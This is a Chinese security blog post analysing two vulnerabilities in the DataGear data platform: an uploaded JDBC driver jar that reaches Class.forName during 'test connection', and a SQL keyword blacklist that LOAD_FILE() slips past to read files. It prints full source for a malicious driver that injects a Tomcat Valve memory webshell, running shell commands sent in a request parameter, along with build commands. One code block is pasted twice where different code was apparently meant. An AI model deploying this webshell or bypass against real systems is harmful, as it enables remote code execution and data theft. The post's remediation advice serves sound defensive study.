乐于分享
好东西不私藏

我翻DataGear源码时,顺手摸到这两条危险的链

我翻DataGear源码时,顺手摸到这两条危险的链

最近翻DataGear源码,顺手摸到两个挺有意思的点。
一个在driver上传这条线,文件传上去以后,再借“测试连接”一路往下走,最后能碰到Class.forName(…)这种类加载边界。
另一个在SQL预览这条线,它想用关键字黑名单拦危险能力,但边界写法本身就有缺口,像LOAD_FILE()这种函数名就能从里面钻过去,最后把风险落到文件读取。另外还看到一个SSRF,不过那条我先放着,后面如果值得单拎,再单独写。
项目是https://gitcode.com/datageartech/datagear
文中这两条链能不能在真实环境里完全成立,也要看版本、权限模型、部署方式、数据库能力和目标配置。我这里只记源码里已经能顺下来的部分。
1. 从driver上传走到类加载
第一条链的起点在上传驱动文件的接口。
上传接口这里没什么花活。driverEntity已经存在,就把上传的jar包写到对应目录里;不存在,就先按id建目录,再把文件落进去。至少从这段代码看,上传内容本身没看到像样的校验。
public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id,      @RequestParam("file") MultipartFile multipartFile) throws Exception{    FileInfo[] fileInfos;    List<String> driverClassNames = new ArrayList<>();    String originalFilename = multipartFile.getOriginalFilename();    DriverEntity driverEntity = this.driverEntityManager.get(id);if (driverEntity != null)    {      InputStream in = multipartFile.getInputStream();try      {this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);      }finally      {        IOUtil.close(in);      }      List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity);      fileInfos = toFileInfos(driverLibraryInfos);    }else    {      File directory = getTempDriverLibraryDirectoryNotNull(id);      File tempFile = getTempDriverLibraryFile(directory, originalFilename);      multipartFile.transferTo(tempFile);      resolveDriverClassNames(tempFile, driverClassNames);      fileInfos = FileUtil.getFileInfos(directory);    }    Map<String, Object> map = new HashMap<>();    map.put("fileInfos", fileInfos);    map.put("driverClassNames", driverClassNames);return map;  }
单有上传点还不够,真正要命的是后面会不会把这个jar真的加载进去。
往下跟,很快就能看到DtbsSourceController.testConnection这条线。这个接口最后会去做数据库连接测试,而这条“测试连接”能力,恰好把前面上传进去的驱动包和后面的类加载串到了一起。
public Map<String, Object> uploadDriverFile(HttpServletRequest request, @RequestParam("id") String id,      @RequestParam("file") MultipartFile multipartFile) throws Exception{    FileInfo[] fileInfos;    List<String> driverClassNames = new ArrayList<>();    String originalFilename = multipartFile.getOriginalFilename();    DriverEntity driverEntity = this.driverEntityManager.get(id);if (driverEntity != null)    {      InputStream in = multipartFile.getInputStream();try      {this.driverEntityManager.addDriverLibrary(driverEntity, originalFilename, in);      }finally      {        IOUtil.close(in);      }      List<DriverLibraryInfo> driverLibraryInfos = this.driverEntityManager.getDriverLibraryInfos(driverEntity);      fileInfos = toFileInfos(driverLibraryInfos);    }else    {      File directory = getTempDriverLibraryDirectoryNotNull(id);      File tempFile = getTempDriverLibraryFile(directory, originalFilename);      multipartFile.transferTo(tempFile);      resolveDriverClassNames(tempFile, driverClassNames);      fileInfos = FileUtil.getFileInfos(directory);    }    Map<String, Object> map = new HashMap<>();    map.put("fileInfos", fileInfos);    map.put("driverClassNames", driverClassNames);return map;  }
接下来,entity会一路进入
AbstractDtbsSourceConnController.getDtbsSourceConnection
protected Connection getDtbsSourceConnection(DtbsSource dtbsSource)throws ConnectionSourceException{returnthis.dtbsSourceConnectionSupport.getDtbsSourceConnection(this.connectionSource, dtbsSource);}
再往下到DtbsSourceConnectionSupport.getDtbsSourceConnection,只要driverEntity不为空,就会走connectionSource.getConnection(driverEntity, connectionOption)这条分支。
public Connection getDtbsSourceConnection(ConnectionSource connectionSource, DtbsSource dtbsSource)throws ConnectionSourceException{    Connection cn = null;    Properties properties = new Properties();if(dtbsSource.hasProperty())    {       List<DtbsSourceProperty> dtbsSourceProperties = dtbsSource.getProperties();for(DtbsSourceProperty sp : dtbsSourceProperties)       {          String name = sp.getName();          String value = sp.getValue();if(!StringUtil.isEmpty(name))             properties.put(name, (value == null ? "" : value));       }    }    String schemaName = dtbsSource.getSchemaName();boolean emptySchemaName = StringUtil.isEmpty(schemaName);// 必须添加此连接属性,不然会获取到其他数据库模式的连接if (!emptySchemaName)    {       properties.put(INTERNAL_SCHEMA_PROPERTY_NAME, schemaName);    }    ConnectionOption connectionOption = ConnectionOption.valueOf(dtbsSource.getUrl(), dtbsSource.getUser(),          dtbsSource.getPassword(), properties);if (dtbsSource.hasDriverEntity())    {       DriverEntity driverEntity = dtbsSource.getDriverEntity();       cn = connectionSource.getConnection(driverEntity, connectionOption);//如果driverEntity不为空,则调用。    }else    {       cn = connectionSource.getConnection(connectionOption);    }if (!emptySchemaName)    {try       {          cn.setSchema(dtbsSource.getSchemaName());       }catch (SQLException e)       {thrownew DataSourceException(e);       }    }return cn;}
再往下,进入DefaultConnectionSource.getConnection,这里会进一步调用getDriver。
public Connection getConnection(DriverEntity driverEntity, ConnectionOption connectionOption)throws ConnectionSourceException{    Driver driver = this.driverEntityManager.getDriver(driverEntity);if (!acceptsURL(driver, connectionOption.getUrl()))thrownew URLNotAcceptedException(driverEntity, connectionOption.getUrl());return getConnection(driver, connectionOption);}
接着进入AbstractFileDriverEntityManager.getDriver,从driverEntity.getDriverClassName()里取出驱动类名,传给PathDriverFactory.getDriver(driverClassName)。
publicsynchronized Driver getDriver(DriverEntity driverEntity)throws DriverEntityManagerException{    PathDriverFactoryInfo pdfi = getLatestPathDriverFactoryInfoNonNull(driverEntity);return pdfi.getPathDriverFactory().getDriver(driverEntity.getDriverClassName());}
再往下,真正落点就在PathDriverFactory.getDriver。
publicsynchronized Driver getDriver(String driverClassName)throws PathDriverFactoryException{try    {       Class.forName(driverClassName, truethis.pathClassLoader);    }catch (ClassNotFoundException e)    {thrownew DriverNotFoundException(this.path.getPath(), driverClassName, e);    }catch (ClassFormatError e)    {thrownew DriverClassFormatErrorException(e);    }catch (Throwable t)    {thrownew PathDriverFactoryException(t);    }try    {       Driver driver = (Driver) this.driverTool.getClass().getMethod("getDriver", String.class)             .invoke(this.driverTool, driverClassName);if (driver == null)thrownew PathDriverFactoryException("No Driver named [" + driverClassName + "] found in [" + this.path + "]");if (LOGGER.isDebugEnabled())          LOGGER.debug("Get JDBC driver [" + driverClassName + "] in path [" + this.path + "]");return driver;    }catch (IllegalArgumentException e)    {thrownew PathDriverFactoryException(e);    }catch (SecurityException e)    {thrownew PathDriverFactoryException(e);    }catch (IllegalAccessException e)    {thrownew PathDriverFactoryException(e);    }catch (InvocationTargetException e)    {thrownew PathDriverFactoryException(e);    }catch (NoSuchMethodException e)    {thrownew PathDriverFactoryException(e);    }}
链走到这里,其实已经闭上了:
  1. 上传jar。
  2. 让系统把这个jar放进会被driver逻辑使用的路径。
  3. 通过driverClassName指向jar里的恶意类。
  4. 在testConnection这类看起来只是“辅助测试”的功能里,最终走到Class.forName(…, this.pathClassLoader)。
所以真正危险的,不是后台里多了个上传点,而是系统后面真的会用自己的类加载器去把它吃进去。
这条链没必要硬扣成“未授权RCE”。至少从控制器逻辑看,testConnection还挂着当前用户上下文和权限校验。更接近实际情况的表述是:
如果攻击者能进入对应后台能力边界,并控制上传的jar与驱动类名,这条链最终就可以把风险推到应用类加载和代码执行层。
利用思路
利用方式也不绕。写一个恶意Driver,在类加载时通过静态代码块完成恶意逻辑注册,再把它伪装成正常JDBC Driver。
原始笔记里给的示例,是一个Agent内存马思路,打成jar后上传,再借Class.forName触发加载。
为了完整保留原始技术链,下面把原始evil/EvilDriver.java一并保留。
源码(evil/EvilDriver.java)
package evil;import java.io.*;import java.lang.reflect.*;import java.sql.*;import java.util.*;import java.util.logging.Logger;publicclass EvilDriver implements Driver {static {try {// Step 1: 获取 Tomcat StandardContextObject contextObj = getStandardContext();if (contextObj != null) {// Step 2: 注入 Valve 内存马                injectValve(contextObj);            }// Step 3: 注册为合法 JDBC Driver(避免报错)            DriverManager.registerDriver(new EvilDriver());        } catch (Exception e) {            e.printStackTrace();        }    }/**     * 通过反射链获取 Tomcat StandardContext     *     * 反射链路:     * Thread.currentThread().getContextClassLoader()     * -> WebappClassLoaderBase     * -> .resources (StandardRoot)     * -> .getContext() -> StandardContext     */privatestaticObject getStandardContext() throws Exception {// Method 1: WebappClassLoader -> resources -> contexttry {            ClassLoader cl = Thread.currentThread().getContextClassLoader();            Field resourcesField = null;            Class<?> c = cl.getClass();while (c != null) {try {                    resourcesField = c.getDeclaredField("resources");break;                } catch (NoSuchFieldException e) {                    c = c.getSuperclass();                }            }if (resourcesField != null) {                resourcesField.setAccessible(true);Object resources = resourcesField.get(cl);                Method getContext = resources.getClass().getMethod("getContext");return getContext.invoke(resources);            }        } catch (Exception e) {}// Method 2: Spring RequestContextHolder -> Request -> ServletContexttry {            Class<?> rch = Class.forName("org.springframework.web.context.request.RequestContextHolder");            Method getAttr = rch.getMethod("getRequestAttributes");Object attrs = getAttr.invoke(null);if (attrs != null) {                Method getRequest = attrs.getClass().getMethod("getRequest");Object request = getRequest.invoke(attrs);                Method getSC = request.getClass().getMethod("getServletContext");Object servletContext = getSC.invoke(request);// ApplicationContextFacade -> ApplicationContext -> StandardContext                Field appCtxField = servletContext.getClass()                        .getDeclaredField("context");                appCtxField.setAccessible(true);Object appCtx = appCtxField.get(servletContext);                Field stdCtxField = appCtx.getClass()                        .getDeclaredField("context");                stdCtxField.setAccessible(true);return stdCtxField.get(appCtx);            }        } catch (Exception e) {}returnnull;    }/**     * 注入 Tomcat Valve 内存马     *     * Valve 在 Tomcat Pipeline 的最底层执行,     * 拦截所有经过该 Context 的 HTTP 请求。     *     * 注入链路:     * StandardContext.getPipeline() -> StandardPipeline     * -> addValve(恶意 Valve)     * -> 恶意 Valve 检查请求参数     * -> 有 magic 参数 → 执行命令返回结果     * -> 无 magic 参数 → 传递给下一个 Valve(正常处理)     */privatestaticvoid injectValve(Object standardContext) throws Exception {        Method getPipeline = standardContext.getClass().getMethod("getPipeline");Object pipeline = getPipeline.invoke(standardContext);        ClassLoader tcl = standardContext.getClass().getClassLoader();        Class<?> valveClass = tcl.loadClass("org.apache.catalina.Valve");// 使用动态代理创建 Valve 实例Object valve = Proxy.newProxyInstance(            tcl,new Class<?>[]{valveClass},new InvocationHandler() {privateObject next = null;@OverridepublicObject invoke(Object proxy, Method method, Object[] args)                        throws Throwable {String methodName = method.getName();// 拦截 invoke(Request, Response) 调用if ("invoke".equals(methodName)                            && args != null && args.length == 2) {Object request = args[0];Object response = args[1];try {                            Method getParam = request.getClass()                                    .getMethod("getParameter"String.class);// 检查 magic 参数String cmd = (String) getParam                                    .invoke(request, "datagear");if (cmd != null && !cmd.isEmpty()) {// 执行系统命令String os = System.getProperty("os.name")                                        .toLowerCase();String[] cmds;if (os.contains("win")) {                                    cmds = newString[]{"cmd.exe""/c", cmd};                                } else {                                    cmds = newString[]{"/bin/bash""-c", cmd};                                }                                Process p = Runtime.getRuntime().exec(cmds);                                InputStream is = p.getInputStream();                                ByteArrayOutputStream baos =new ByteArrayOutputStream();                                byte[] buf = new byte[4096];                                int len;while ((len = is.read(buf)) != -1) {                                    baos.write(buf, 0, len);                                }                                p.waitFor();// 写入响应                                Method getWriter = response.getClass()                                        .getMethod("getWriter");Object writer = getWriter.invoke(response);                                Method write = writer.getClass()                                        .getMethod("write"String.class);                                write.invoke(writer,newString(baos.toByteArray()));                                Method flush = writer.getClass()                                        .getMethod("flush");                                flush.invoke(writer);returnnull// 不继续传递请求                            }                        } catch (Exception e) {}// 无 magic 参数 → 正常传递给下一个 Valveif (next != null) {                            Method invokeNext = next.getClass().getMethod("invoke",                                request.getClass().getInterfaces()[0],                                response.getClass().getInterfaces()[0]);                            invokeNext.invoke(next, request, response);                        }returnnull;                    }// Valve 接口的其他方法if ("getNext".equals(methodName)) return next;if ("setNext".equals(methodName)) {                        next = args[0]; returnnull;                    }if ("backgroundProcess".equals(methodName)) returnnull;if ("isAsyncSupported".equals(methodName)) returntrue;if ("getContainer".equals(methodName))return standardContext;if ("setContainer".equals(methodName)) returnnull;returnnull;                }            }        );// 注入到 Pipeline        Method addValve = pipeline.getClass()                .getMethod("addValve", valveClass);        addValve.invoke(pipeline, valve);    }// --- JDBC Driver 接口空实现 ---public Connection connect(String url, Properties info) { returnnull; }publicboolean acceptsURL(String url) { returntrue; }public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) {returnnew DriverPropertyInfo[0];    }public int getMajorVersion() { return1; }public int getMinorVersion() { return0; }publicboolean jdbcCompliant() { returnfalse; }public Logger getParentLogger() { returnnull; }}
编译打包
javac -encoding UTF-8 -source 8 -target 8 -d . EvilDriver.javajar cf evil-driver.jar evil/EvilDriver.class evil/EvilDriver$1.class
效果
说到底,这条链说明的是,后台里一个看起来“只是上传驱动、测试连接”的功能,最后直接碰到了运行时类加载边界。
这事真正该盯的,不是某个内存马怎么写,而是这一点:
业务系统里所有“动态加载外部驱动/插件/库”的能力,都应该先被当成潜在执行面看。
这种功能如果非留不可,起码得补上这些控制:
  • 只有高权限管理员能上传驱动,并且权限与普通数据源管理彻底隔离。
  • 上传内容要做类型、签名、来源或白名单校验,不能“给个jar就吃”。
  • 驱动目录和运行目录隔离,避免临时文件直接进入可加载路径。
  • 测试连接功能不要在主应用上下文里直接完成任意类加载。
  • 所有driver上传、driver变更、testConnection调用都应该有明确审计日志。
很多后台系统的坑,往往都是存在于这种“只是想多兼容几种数据库”的设计里。
2. SQL语句黑名单绕过,最后落到任意文件读取
第二个点我觉得更有代表性,因为它不是某个冷门调用链的问题,而是很典型的“黑名单思维”翻车。
在/dataSet/preview/SQL这条接口里,可以执行SQL预览逻辑。
@RequestMapping(value = "/preview/" + DataSetEntity.DATA_SET_TYPE_SQL, produces = CONTENT_TYPE_JSON)@ResponseBodypublic TemplateResolvedDataSetResult previewSql(HttpServletRequest request, HttpServletResponse response,       Model springModel, @RequestBody SqlDataSetPreview preview) throws Throwable{    User user = getCurrentUser();    SqlDataSetEntity entity = preview.getDataSet();if(isEmpty(entity))thrownew IllegalInputException();    inflateSaveEntity(request, entity);    trimSqlDataSetEntity(entity);// 添加时if (StringUtil.isEmpty(entity.getId()))    {       inflateSaveAddBaseInfo(request, user, entity);       checkSaveSqlDataSetEntity(request, user, entity, null);    }// 查看时elseif (preview.isView())    {       entity = (SqlDataSetEntity) getByIdForView(getDataSetEntityService(), user, entity.getId());    }// 编辑时else    {String id = entity.getId();       checkSaveSqlDataSetEntity(request, user, entity,new OnceSupplier<>(() ->             {return (SqlDataSetEntity) getByIdForEdit(getDataSetEntityService(), user, id);             }));    }    DtbsSourceConnectionFactory connFactory = entity.getDtbsCnFty();    DtbsSource dtbsSource = (connFactory == null ? null : connFactory.getDtbsSource());String dtbsSourceId = (dtbsSource == null ? null : dtbsSource.getId());if (StringUtil.isEmpty(dtbsSourceId))thrownew IllegalInputException();    dtbsSource = getDtbsSourceNotNull(dtbsSourceId);    DtbsSourceConnectionFactory connectionFactory = new DtbsSourceConnectionFactory(getConnectionSource(),          dtbsSource);    entity.setConnectionFactory(connectionFactory);    entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity));    DataSetQuery query = convertDataSetQuery(request, response, preview.getQuery(), entity);return doPreviewSql(entity, query);
问题不在它有没有校验,而在这套校验本身就站不住。原始笔记里有一句话,基本把这个问题说透了。
最核心的正则,生成的正则为([^\_\w]|^)(LOAD)([^\_\w]|$),要求关键字前后不能是_或字母数字。这导致LOAD_FILE()中LOAD后紧跟_而绕过检测。同理EXEC()也可绕过EXECUTE的拦截。
对应到源码,就是这一段。
public static Pattern toKeywordPattern(String... keywords){    StringBuilder sb = new StringBuilder();    sb.append("([^\\_\\w]|^)");    sb.append("(");for (int i = 0; i < keywords.length; i++)    {if (i > 0)          sb.append('|');       sb.append("(" + Pattern.quote(keywords[i]) + ")");    }    sb.append(")");    sb.append("([^\\_\\w]|$)");return compileToSqlValidatorPattern(sb.toString());}
这套正则想拦的,是一个前后都不是下划线、字母、数字的独立关键字。
如果关键字是LOAD,那它最终想拦的是一个独立出现的LOAD。但像LOADFILE()这样的函数名里,LOAD后面紧跟的是下划线,而下划线被这套边界规则当成“单词内部字符”,于是正则就不会命中。
结果很简单:独立的LOAD被拦了,LOAD_FILE()放过去了。
这种黑名单最大的问题就在这儿。它不是在理解SQL语义,只是在猜字符串边界。
原始笔记里还提到,类似思路也会影响EXEC/EXECUTE这类关键字判断。本质上都是一个问题。
你以为自己在拦危险能力,实际上你只是在拦某个单词长得像危险能力的写法。
利用方式
这条利用链本身也不复杂。如果后端数据库支持对应文件读取函数,数据库账号权限又没有收死,就可以直接做文件读取。原文里给的结果,就是读出来以后再做base64解码拿到明文。
不过这个地方也不能写飘。它不是“接口一开就能读任何文件”。能不能真正读到内容,至少看下面几个条件:
  1. 后端数据库类型是否支持对应文件读取能力。
  2. 当前数据库账号是否具备相应权限。
  3. 目标文件路径是否对数据库进程可读。
  4. 这条SQL预览能力是否对当前用户开放。
但从安全设计上说,这已经够说明问题了。
把SQL安全寄托在关键字黑名单上,本来就是不稳的。
结果截图
更糟的是,这类实现很容易给开发者造成错觉,觉得“系统已经做了SQL校验”,于是后面权限和隔离反而放松了。
真要收这类风险,做法其实就这么几条:
  • 不要靠通用黑名单去赌所有数据库方言和函数组合。
  • 针对具体数据库类型做能力级限制,而不是只拦字符串。
  • 对预览SQL的账号做严格最小权限控制,默认不给文件读取、命令执行、外联等高危能力。
  • 对数据集预览、查询测试这类接口单独做高风险审计。
  • 能白名单就白名单,能解析AST或做结构化限制,就不要继续迷信字符串黑名单。
这类洞不花,但特别常见,而且很容易在真实系统里一放就是很多年。
3. 两条链放在一起看
把两条链摆在一起,其实就剩两件事。
第一件事,是上传上去的东西最后进了类加载器。第二件事,是SQL这边把安全寄托在关键字黑名单上,结果边界一错,函数名直接穿过去。
这两个问题类型不一样,但都出在管理面功能上,而且都不是那种第一眼就会被当成高危入口的点。一个挂在“测试连接”上,一个挂在“SQL预览”上,看名字都很日常,真往下跟,碰到的却是类加载和文件读取这种边界。
所以我自己记这篇,不是为了记“某处能getshell、某处能读文件”这两个结果,而是记这两类入口:
  • 一类是上传、插件、驱动、模板这种东西,最后会不会进解释器、类加载器或者执行链。
  • 一类是校验看起来做了很多,实际只是字符串黑名单,稍微换个写法就能从边上绕过去。
4. 修的时候先看什么
如果后面真要收这两个点,我会先往几个地方看。
先看driver这条线。上传上去的jar最后是不是直接进了可加载路径,driver上传和普通数据源管理是不是混在一套权限里,测试连接是不是就在主应用上下文里做类加载,这几个问题基本能把风险面勾出来。再往后就是日志,driver上传、driver变更、testConnection这些动作,如果连单独审计都没有,排查起来会很难受。
再看SQL预览这条线。现在是不是还在拿关键字黑名单硬拦,数据库类型有没有分开做能力限制,预览SQL用的账号是不是单独收过权限,文件读取、命令执行、外联这类能力是不是默认就在,这几件事一翻,大概就知道问题是停在“写法不严”,还是已经碰到真正的危险能力了。
如果是正在用这类平台的团队,我觉得也别先急着上价值,先把几件实事过一遍:谁能上传driver,谁能测连接,谁能执行SQL预览,权限是不是全混着;日志里有没有driver目录变更、异常连接测试、可疑SQL预览;这类管理面功能是不是已经很久没人专门审过。很多时候问题不在系统“看起来危险”,而在这些地方根本没人翻。
5. 先记到这里
这次先记两条。一条是driver上传最后接到了类加载。一条是SQL黑名单被函数名从边上绕过去,最后能落到文件读取。
SSRF那条我先没往下写,后面再跟。
作者:一寸灰
编者:千里
  • 欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
  • 如您有意加入我们新建设的安全私域圈子,可扫码加入,我会和我的智能体一起用心地经营这一方天地